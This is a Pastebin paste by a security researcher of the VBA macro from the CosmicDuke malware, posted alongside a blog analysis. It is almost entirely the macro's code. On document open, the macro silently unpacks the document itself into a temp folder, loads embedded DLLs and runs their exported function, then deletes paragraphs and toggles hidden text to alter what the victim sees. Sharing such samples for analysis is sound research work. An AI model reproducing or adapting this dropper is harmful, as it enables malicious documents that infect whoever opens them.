SHARE
TWEET

CosmicDuke VBA macro

bartblaze Sep 20th, 2014 622 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Blog post: http://bartblaze.blogspot.com/2014/09/a-word-on-cosmicduke.html
  2.  
  3. Attribute VB_Name = "ThisDocument"
  4. Attribute VB_Base = "1Normal.ThisDocument"
  5. Attribute VB_GlobalNameSpace = False
  6. Attribute VB_Creatable = False
  7. Attribute VB_PredeclaredId = True
  8. Attribute VB_Exposed = True
  9. Attribute VB_TemplateDerived = True
  10. Attribute VB_Customizable = True
  11. #If VBA7 Then
  12. Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
  13.      Private Declare PtrSafe Function apiCopyFile Lib "kernel32" Alias "CopyFileA" _
  14.       (ByVal lpExistingFileName As String, _
  15.       ByVal lpNewFileName As String, _
  16.       ByVal bFailIfExists As Long) As Long
  17. Private Declare PtrSafe Sub Exp Lib "input64.dll" Alias "exFunc" ()
  18. Private Declare PtrSafe Sub Exp32 Lib "input.dll" Alias "exFunc" ()
  19. #Else
  20. Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
  21.      Private Declare Function apiCopyFile Lib "kernel32" Alias "CopyFileA" _
  22.       (ByVal lpExistingFileName As String, _
  23.       ByVal lpNewFileName As String, _
  24.       ByVal bFailIfExists As Long) As Long
  25. Private Declare Sub Exp Lib "input64.dll" Alias "exFunc" ()
  26. Private Declare Sub Exp32 Lib "input.dll" Alias "exFunc" ()
  27. #End If
  28.  
  29.  
  30.  
  31.  
  32.       Sub CopyFile(SourceFile As String, DestFile As String)
  33.       '---------------------------------------------------------------
  34.      ' PURPOSE: Copy a file on disk from one location to another.
  35.      ' ACCEPTS: The name of the source file and destination file.
  36.      ' RETURNS: Nothing
  37.      '---------------------------------------------------------------
  38.        Dim Result As Long
  39.          If Dir(SourceFile) = "" Then
  40.          Else
  41.             Result = apiCopyFile(SourceFile, DestFile, False)
  42.          End If
  43.       End Sub
  44.  
  45. Public Sub UnzipSelf(strTargetPath As String)
  46.     Const FOF_SILENT = &H4&
  47.     Const FOF_RENAMEONCOLLISION = &H8&
  48.     Const FOF_NOCONFIRMATION = &H10&
  49.     Const FOF_ALLOWUNDO = &H40&
  50.     Const FOF_FILESONLY = &H80&
  51.     Const FOF_SIMPLEPROGRESS = &H100&
  52.     Const FOF_NOCONFIRMMKDIR = &H200&
  53.     Const FOF_NOERRORUI = &H400&
  54.     Const FOF_NOCOPYSECURITYATTRIBS = &H800&
  55.     Const FOF_NORECURSION = &H1000&
  56.     Const FOF_NO_CONNECTED_ELEMENTS = &H2000&
  57.  
  58.     Dim oApp As Object
  59.  
  60.     Dim FileNameFolder As Variant
  61.    
  62.     Dim SelfPath As String
  63.     Dim NewSelfPath As String
  64.     Dim FSO As Object
  65.  
  66.      
  67.  
  68.     If Right(strTargetPath, 1) <> Application.PathSeparator Then
  69.  
  70.         strTargetPath = strTargetPath & Application.PathSeparator
  71.  
  72.     End If
  73.  
  74.    
  75.  
  76.     FileNameFolder = strTargetPath
  77.     FileNameFolderCut = Left(FileNameFolder, Len(FileNameFolder) - 1)
  78.    
  79.     On Error Resume Next
  80.     Set FSO = CreateObject("scripting.filesystemobject")
  81.     If FSO.FolderExists(FileNameFolder) Then
  82.         FSO.deletefile FileNameFolder & "*"
  83.         FSO.deletefolder FileNameFolder & "*"
  84.     Else
  85.         MkDir FileNameFolder
  86.     End If
  87.    
  88.    
  89.  
  90.     SelfPath = ActiveDocument.Path & Application.PathSeparator & ActiveDocument.Name
  91.     NewSelfPath = strTargetPath & ActiveDocument.Name & ".zip"
  92.  
  93.     Set oApp = CreateObject("Shell.Application")
  94.        
  95.     cFlags = FOF_SILENT + FOF_NOCONFIRMATION + FOF_NOERRORUI
  96.    
  97.     Call CopyFile(SelfPath, NewSelfPath)
  98.     Set oSrc = oApp.Namespace((NewSelfPath)).items
  99.     oApp.Namespace((FileNameFolder)).CopyHere oSrc, cFlags
  100. End Sub
  101.  
  102.  
  103. Sub OpenPrivateData()
  104.     TempLocation = Environ("temp") & Application.PathSeparator & "AYX78PLY"
  105.     Call UnzipSelf((TempLocation))
  106.     LibLocation = TempLocation & Application.PathSeparator & "word" & Application.PathSeparator
  107.     LoadLibrary LibLocation & "input.dll"
  108.     LoadLibrary LibLocation & "input64.dll"
  109.     On Error GoTo bit32
  110.     Call Exp
  111.     GoTo markend
  112. bit32:
  113.     Call Exp32
  114. markend:
  115. End Sub
  116.  
  117.  
  118.  
  119. Private Sub Document_Open()
  120.     Call OpenPrivateData
  121.     ActiveDocument.ActiveWindow.View.ShowHiddenText = False
  122.    
  123.     ActiveDocument.ActiveWindow.Selection.Paragraphs(1).Range.Select
  124.     ActiveDocument.ActiveWindow.Selection.Delete
  125.     ActiveDocument.ActiveWindow.Selection.Paragraphs(1).Range.Select
  126.     ActiveDocument.ActiveWindow.Selection.Delete
  127.     ActiveDocument.ActiveWindow.Selection.Paragraphs(1).Range.Select
  128.     ActiveDocument.ActiveWindow.Selection.Delete
  129.    
  130.     ActiveDocument.ActiveWindow.View.ShowHiddenText = True
  131.    
  132.    
  133.    
  134.    
  135. End Sub
  136.  
  137. Private Sub Document_Close()
  138.     ActiveDocument.ActiveWindow.View.ShowHiddenText = False
  139. End Sub
  140.  
  141.  
  142. #EOF
  143. #@bartblaze
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top